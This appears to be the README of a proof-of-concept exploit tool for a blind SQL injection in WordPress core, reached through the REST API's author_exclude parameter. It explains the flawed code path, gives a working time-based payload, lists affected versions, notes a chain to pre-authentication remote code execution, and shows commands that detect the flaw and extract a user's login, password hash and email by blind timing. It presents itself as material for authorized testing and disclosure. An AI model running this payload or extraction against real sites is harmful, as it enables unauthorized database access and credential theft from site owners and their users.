Non-destructive proof-of-concept and verification harness for CVE-2026-60137, a
blind SQL injection in WordPress core (WP_Query::author__not_in), reachable via the
REST API's author_exclude parameter.
WP_Query::get_posts() builds SQL by string-concatenating the author__not_in query
variable into:
... AND {wpdb->posts}.post_author NOT IN ( <value> )The value is sanitized (per-element absint) only when it arrives as an array. If a
scalar string is delivered — the REST author_exclude parameter maps internally to
author__not_in — the is_array() sanitization guard is skipped and the raw string
lands inside the NOT IN (...) clause, resulting in SQL injection (CWE-89).
A payload of the form 1) OR SLEEP(6)# produces:
post_author NOT IN ( 1) OR SLEEP(6)# )which parses as post_author NOT IN (1) OR SLEEP(6) (the trailing ) is consumed by
the # comment) — a clean, time-based blind oracle with zero database writes.
| Affected | 6.8.0 – 6.8.5, 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| Fixed | 6.8.6, 6.9.5, 7.0.2 (2026-07-17) |
| CVSS 3.1 | AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N → 5.9 (standalone sink) |
| Chained | with CVE-2026-63030 (REST batch route confusion) → 9.8 pre-auth RCE on 6.9.0 – 7.0.1 |
- 6.9.0+ — sink reachable pre-auth via
/wp-json/batch/v1route confusion. - 6.8.x — the REST schema rejects a scalar
author_exclude(HTTP 400) on the stock posts route, so the sink is typically reachable only when a plugin/theme forwards untrusted input, or through an authenticated session (--cookie) via the batch route.
cve_2026_60137_poc.py is read-only against the database:
- Fingerprints the target (generator meta tag, feed,
readme.html,/wp-json/index) to check whether the version is in an affected range. - Detects the injection with a time-based oracle: baseline vs. a
SLEEP(0)parse-control vs. aSLEEP(n)payload, across several delivery vectors (direct REST routes,?rest_route=, and the batch endpoint), and reports a verdict per vector. - Optionally extracts a
wp_usersrow (user_login,user_pass,user_email) via blind binary-search timing, strictly usingSELECT/SLEEP— it never writes to the database.
# Fingerprint only, no payloads sent
python3 cve_2026_60137_poc.py --url https://target --safe
# Run the detection matrix
python3 cve_2026_60137_poc.py --url https://target --sleep 6 --samples 3
# Authenticated session + extract wp_users row 1
python3 cve_2026_60137_poc.py --url https://target \
--cookie 'wordpress_logged_in_XXX=YYY' --extract --user-id 1
# Route through Burp, skip TLS verification, save machine-readable evidence
python3 cve_2026_60137_poc.py --url https://target \
--proxy http://127.0.0.1:8080 --no-verify-tls --json-out evidence.json| Flag | Default | Description |
|---|---|---|
--url |
required | Target base URL |
--safe |
off | Fingerprint only; send no payloads |
--sleep |
6 | SLEEP() seconds used by the detection oracle |
--samples |
3 | Timing samples per measurement (median is used) |
--threshold |
0.7 | Fraction of --sleep treated as a positive delta |
--extract |
off | Extract a wp_users row via the blind oracle |
--user-id |
1 | wp_users.ID to extract |
--extract-sleep |
2.0 | SLEEP() seconds per extraction probe |
--limit |
64 | Max characters per extracted field |
--only-vector |
— | Only test vectors whose name contains this string |
--cookie |
— | Authenticated cookie for auth-gated vectors |
--proxy |
— | HTTP(S) proxy, e.g. http://127.0.0.1:8080 (Burp) |
--timeout |
30 | Request timeout in seconds |
--no-verify-tls |
off | Disable TLS certificate verification |
--json-out |
— | Write machine-readable evidence to a JSON file |
This tool is provided for authorized security testing only — penetration tests, CTFs, and research against systems you own or have explicit written permission to assess. Running it against systems without authorization is illegal. The author accepts no liability for misuse.
Any output written with --json-out may contain the tested URL, version fingerprint,
and timing evidence — treat it as sensitive engagement data.